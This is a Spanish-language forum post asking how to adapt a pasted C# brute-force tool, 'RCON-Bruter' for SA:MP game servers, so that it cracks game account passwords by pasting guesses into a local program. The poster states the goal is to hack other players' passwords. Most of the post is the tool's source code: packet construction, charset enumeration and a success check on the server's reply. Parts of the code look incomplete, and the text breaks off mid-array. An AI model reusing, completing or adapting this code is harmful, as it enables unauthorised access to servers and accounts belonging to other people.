Lo que yo necesito es que no me hagan el trabajo, sino que me orienten en el tema de programacion.
Yo lo que quiero hacer es un brute forcer pero no uno cualquiera, la idea de este brute forcer es que trabaje con CMD (No se si soy muy especifico), lo que quiero decir, es que no es una aplicacion con diseño, sino que al abrir el archivo .exe, se abra una ventana CMD pidiendo el tipo de contraseña (Numeros, numeros y letras, letras, etc) y la longitud minima de la misma, pero con una pequeña diferencia, no necesito que trabaje por internet, es decir, que trabaje en alguna pagina o algo, sino que trabaje sobre una aplicacion "X" que tengo en mi pc. A lo que me refiero, que cuando inicie el ataque de fuerza bruta, que cada contraseña que vaya "Escribiendo", la copie y la pegue en determinado pograma que yo asigne en la estructura del brute force (Es decir, que el programa solo funcione para uno que yo especifique).
La base del programa ya la tengo, el problema es que no se en que tipo de lenguaje esta (Si es C, C++, ya que no se a que se refiere con C#) y hay varias cosas que no entiendo y varias que hay que sacar.
La base del programa tiene aproximadamente 850 lineas, pero este programa trabaja para hacer un ataque de fuerza bruta sobre la rcon de un servidor de un juego online, entonces, lo que yo quiero hacer, es sacar toda la parte de la rcon que no me interesa en el programa y ponerle la funcion que cada contraseña que "Escriba", la copie al clipboard y la pegue en otra aplicacion o juego.
El fin de hacer esto, es hackear contraseñas de un juego (Si, parezco idiota buscando esto, pero de paso aprendo a programar).
El programa que tengo, lo consegui, era un archivo .exe que lo abris, te pide la ip del servidor, el host, los caracteres de la contraseña y la longitud, chequea que el puerto y la ip sean correctos y empieza el ataque. Pero tambien vino con un archivo .cs, que lo abri con el visual basic y resultaba ser toda la estructura del programa, y se me ocurrio que a partir de esa base, podria hacer lo mismo pero para cuentas.
Aca dejo unas imagenes del programa como es y el codigo del programa:
Código
//////RCON-Bruter by JokeR, writed in C#, Visual C# 2010 Express //Thanks to SA:MP Wiki for class to send rcon command //Usage: rcon_bruter ip port //Tested on SA:MP 0.3a, 0.3b, 0.3c ALL RELEASES //init //#define ARGS using System; using System.Collections.Generic; using System.Text; using System.Linq; using System.IO; using System.Net; using System.Net.Sockets; //class from sa-mp wiki namespace Query { class RCONQuery { Socket qSocket; IPAddress address; int _port = 0; string _password = null; int _count = 0; public RCONQuery(string IP, int port, string password) { qSocket.SendTimeout = 1; qSocket.ReceiveTimeout = 1; try { address = Dns.GetHostAddresses(IP)[0]; } catch { } _port = port; _password = password; } public bool Send(string command) { try { { { writer.Write("SAMP".ToCharArray()); string[] SplitIP = address.ToString().Split('.'); writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[0]))); writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[1]))); writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[2]))); writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[3]))); writer.Write((ushort)_port); writer.Write('x'); writer.Write((ushort)_password.Length); writer.Write(_password.ToCharArray()); writer.Write((ushort)command.Length); writer.Write(command.ToCharArray()); } if (qSocket.SendTo(stream.ToArray(), endpoint) > 0) return true; } } catch { return false; } return false; } public int Recieve() { try { _count = 0; int count = qSocket.ReceiveFrom(rBuffer, ref endpoint); _count = count; } catch { return _count; } return _count; } } } namespace MainFunc { class Program { #region Private variables private static string result; private static bool isMatched = false; private static int charactersToTestLength = 0; private static long computedKeys = 0; /*private static char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E', 'F','G','H','I','J','K','L','M','N','O','P','Q','R', 'S','T','U','V','W','X','Y','Z','1','2','3','4','5', '6','7','8','9','0','!','$','#','@','-','*','&','^', '%','~','`','[',']','|','/','"',':',';',':','?','>', ',','.','(',')','_','-','+','=','\\' };*/ /*private static char[] charactersToTest = { '1','2','3','4','5', '6','7','8','9','0', };*/ #endregion static void Main(string[] args) { //print welcome informations Console.WriteLine("RCON Bruter by JokeR for SA:MP, ver 0.1d-3"); Console.WriteLine("Tested on SA:MP 0.3a, 0.3b, 0.3c [ALL RELEASES]"); Console.WriteLine("Cracking is very slow due to limits in SA:MP 0.3"); Console.WriteLine(""); #if (ARGS) if (args.Length == 0) { Console.WriteLine("USAGE: rcon_brute [ip] [port] [charset type] [password lenght]"); Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special"); Environment.Exit(1); } #endif #if (ARGS) string ip = args[0]; int port = Int32.Parse(args[1]); int charset = Int32.Parse(args[2]); #else Console.WriteLine("Enter target IP/HostName: "); string ip = Console.ReadLine(); Console.WriteLine("Enter target port: "); int port = Int32.Parse(Console.ReadLine()); Console.WriteLine("Select charset type: "); Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special"); int charset = Int32.Parse(Console.ReadLine()); Console.WriteLine("Enter password lenght (cracking will start with this lenght, type 1 to normal mode): "); int count = Int32.Parse(Console.ReadLine()); #endif if (charset == 1) //all chars { char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E', 'F','G','H','I','J','K','L','M','N','O','P','Q','R', 'S','T','U','V','W','X','Y','Z','1','2','3','4','5', '6','7','8','9','0','!','$','#','@','-','*','&','^', '%','~','`','[',']','|','/','"',':',';',':','?','>', ',','.','(',')','_','-','+','=','\\' }; //start bruter var timeStarted = DateTime.Now; Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port); charactersToTestLength = charactersToTest.Length; var estimatedPasswordLength = count-1; while (!isMatched) { estimatedPasswordLength++; startBruteForce(estimatedPasswordLength, ip, port, charset); } Console.WriteLine("Password matched: {0}", DateTime.Now.ToString()); Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds); Console.WriteLine("Resolved password: {0}", result); Console.WriteLine("Computed keys: {0}", computedKeys); Console.ReadLine(); } if (charset == 2) //numbers { char[] charactersToTest = { '1','2','3','4','5','6','7','8','9','0' }; //start bruter var timeStarted = DateTime.Now; Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port); charactersToTestLength = charactersToTest.Length; var estimatedPasswordLength = count - 1; while (!isMatched) { estimatedPasswordLength++; startBruteForce(estimatedPasswordLength, ip, port, charset); } Console.WriteLine("Password matched: {0}", DateTime.Now.ToString()); Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds); Console.WriteLine("Resolved password: {0}", result); Console.WriteLine("Computed keys: {0}", computedKeys); Console.ReadLine(); } if (charset == 3) //letters { char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E', 'F','G','H','I','J','K','L','M','N','O','P','Q','R', 'S','T','U','V','W','X','Y','Z', }; //start bruter var timeStarted = DateTime.Now; Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port); charactersToTestLength = charactersToTest.Length; var estimatedPasswordLength = count - 1; while (!isMatched) { estimatedPasswordLength++; startBruteForce(estimatedPasswordLength, ip, port, charset); } Console.WriteLine("Password matched: {0}", DateTime.Now.ToString()); Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds); Console.WriteLine("Resolved password: {0}", result); Console.WriteLine("Computed keys: {0}", computedKeys); Console.ReadLine(); } if (charset == 4) //special { char[] charactersToTest = { '!','$','#','@','-','*','&','^', '%','~','`','[',']','|','/','"',':',';',':','?','>', ',','.','(',')','_','-','+','=','\\' }; //start bruter var timeStarted = DateTime.Now; Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port); charactersToTestLength = charactersToTest.Length; var estimatedPasswordLength = count - 1; while (!isMatched) { estimatedPasswordLength++; startBruteForce(estimatedPasswordLength, ip, port, charset); } Console.WriteLine("Password matched: {0}", DateTime.Now.ToString()); Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds); Console.WriteLine("Resolved password: {0}", result); Console.WriteLine("Computed keys: {0}", computedKeys); Console.ReadLine(); } if (charset == 5) //numbers&letters { char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E', 'F','G','H','I','J','K','L','M','N','O','P','Q','R', 'S','T','U','V','W','X','Y','Z','1','2','3','4','5', '6','7','8','9','0' }; //start bruter var timeStarted = DateTime.Now; Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port); charactersToTestLength = charactersToTest.Length; var estimatedPasswordLength = count - 1; while (!isMatched) { estimatedPasswordLength++; startBruteForce(estimatedPasswordLength, ip, port, charset); } Console.WriteLine("Password matched: {0}", DateTime.Now.ToString()); Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds); Console.WriteLine("Resolved password: {0}", result); Console.WriteLine("Computed keys: {0}", computedKeys); Console.ReadLine(); } if (charset == 6) //letters&special { char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E', 'F','G','H','I','J','K','L','M','N','O','P','Q','R', 'S','T','U','V','W','X','Y','Z','!','$','#','@','-', '*','&','^','%','~','`','[',']','|','/','"',':',';', ':','?','>',',','.','(',')','_','-','+','=','\\' }; //start bruter var timeStarted = DateTime.Now; Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port); charactersToTestLength = charactersToTest.Length; var estimatedPasswordLength = count - 1; while (!isMatched) { estimatedPasswordLength++; startBruteForce(estimatedPasswordLength, ip, port, charset); } Console.WriteLine("Password matched: {0}", DateTime.Now.ToString()); Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds); Console.WriteLine("Resolved password: {0}", result); Console.WriteLine("Computed keys: {0}", computedKeys); Console.ReadLine(); } if (charset == 7) //numbers&special { char[] charactersToTest = { '1','2','3','4','5','6','7','8','9','0','!','$','#', '@','-','*','&','^','%','~','`','[',']','|','/','"', ':',';',':','?','>',',','.','(',')','_','-','+','=','\\' }; //start bruter var timeStarted = DateTime.Now; Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port); charactersToTestLength = charactersToTest.Length; var estimatedPasswordLength = count - 1; while (!isMatched) { estimatedPasswordLength++; startBruteForce(estimatedPasswordLength, ip, port, charset); } Console.WriteLine("Password matched: {0}", DateTime.Now.ToString()); Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds); Console.WriteLine("Resolved password: {0}", result); Console.WriteLine("Computed keys: {0}", computedKeys); Console.ReadLine(); } } #region Private methods private static void startBruteForce(int keyLength, string ip, int port, int charset) { if (charset == 1) //all chars { char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E', 'F','G','H','I','J','K','L','M','N','O','P','Q','R', 'S','T','U','V','W','X','Y','Z','1','2','3','4','5', '6','7','8','9','0','!','$','#','@','-','*','&','^', '%','~','`','[',']','|','/','"',':',';',':','?','>', ',','.','(',')','_','-','+','=','\\' }; var keyChars = createCharArray(keyLength, charactersToTest[0]); var indexOfLastChar = keyLength - 1; createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port,charset); } if (charset == 2) //numbers { char[] charactersToTest = { '1','2','3','4','5','6','7','8','9','0' }; var keyChars = createCharArray(keyLength, charactersToTest[0]); var indexOfLastChar = keyLength - 1; createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset); } if (charset == 3) //letters { char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E', 'F','G','H','I','J','K','L','M','N','O','P','Q','R', 'S','T','U','V','W','X','Y','Z', }; var keyChars = createCharArray(keyLength, charactersToTest[0]); var indexOfLastChar = keyLength - 1; createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset); } if (charset == 4) //special { char[] charactersToTest = { '!','$','#','@','-','*','&','^', '%','~','`','[',']','|','/','"',':',';',':','?','>', ',','.','(',')','_','-','+','=','\\' }; var keyChars = createCharArray(keyLength, charactersToTest[0]); var indexOfLastChar = keyLength - 1; createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset); } if (charset == 5) //numbers&letters { char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E', 'F','G','H','I','J','K','L','M','N','O','P','Q','R', 'S','T','U','V','W','X','Y','Z','1','2','3','4','5', '6','7','8','9','0' }; var keyChars = createCharArray(keyLength, charactersToTest[0]); var indexOfLastChar = keyLength - 1; createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset); } if (charset == 6) //letters&special { char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E', 'F','G','H','I','J','K','L','M','N','O','P','Q','R', 'S','T','U','V','W','X','Y','Z','!','$','#','@','-', '*','&','^','%','~','`','[',']','|','/','"',':',';', ':','?','>',',','.','(',')','_','-','+','=','\\' }; var keyChars = createCharArray(keyLength, charactersToTest[0]); var indexOfLastChar = keyLength - 1; createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset); } if (charset == 7) //numbers&special { char[] charactersToTest = { '1','2','3','4','5','6','7','8','9','0','!','$','#', '@','-','*','&','^','%','~','`','[',']','|','/','"', ':',';',':','?','>',',','.','(',')','_','-','+','=','\\' }; var keyChars = createCharArray(keyLength, charactersToTest[0]); var indexOfLastChar = keyLength - 1; createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset); } } private static char[] createCharArray(int length, char defaultChar) { } private static void createNewKey(int currentCharPosition, char[] keyChars, int keyLength, int indexOfLastChar, string ip, int port, int charset) { if (!isMatched) { var nextCharPosition = currentCharPosition + 1; for (int i = 0; i < charactersToTestLength; i++) { if (charset == 1) //all chars { char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E', 'F','G','H','I','J','K','L','M','N','O','P','Q','R', 'S','T','U','V','W','X','Y','Z','1','2','3','4','5', '6','7','8','9','0','!','$','#','@','-','*','&','^', '%','~','`','[',']','|','/','"',':',';',':','?','>', ',','.','(',')','_','-','+','=','\\' }; keyChars[currentCharPosition] = charactersToTest[i]; if (currentCharPosition < indexOfLastChar) { createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, charset); } else { computedKeys++; //check rcon //Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars))); Console.Write("Checking rcon password: "); Console.WriteLine(""); if (!sQuery.Send("echo test")) { Console.WriteLine("ERROR: Bad IP/HostName/Port"); Environment.Exit(2); } int count = sQuery.Recieve(); if (count == 17) { if (!isMatched) { isMatched = true; Console.WriteLine("*** Success! received package: 17! ***"); Console.WriteLine(""); } return; } if (count == 35) { Console.WriteLine("Failed, received package: 35"); } } } if (charset == 2) //numbers { char[] charactersToTest = { '1','2','3','4','5','6','7','8','9','0' }; keyChars[currentCharPosition] = charactersToTest[i]; if (currentCharPosition < indexOfLastChar) { createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, charset); } else { computedKeys++; //check rcon //Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars))); Console.Write("Checking rcon password: "); Console.WriteLine(""); if (!sQuery.Send("echo test")) { Console.WriteLine("ERROR: Bad IP/HostName/Port"); Environment.Exit(2); } int count = sQuery.Recieve(); if (count == 17) { if (!isMatched) { isMatched = true; Console.WriteLine("*** Success! received package: 17! ***"); Console.WriteLine(""); } return; } if (count == 35) { Console.WriteLine("Failed, received package: 35"); } } } if (charset == 3) //letters { char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',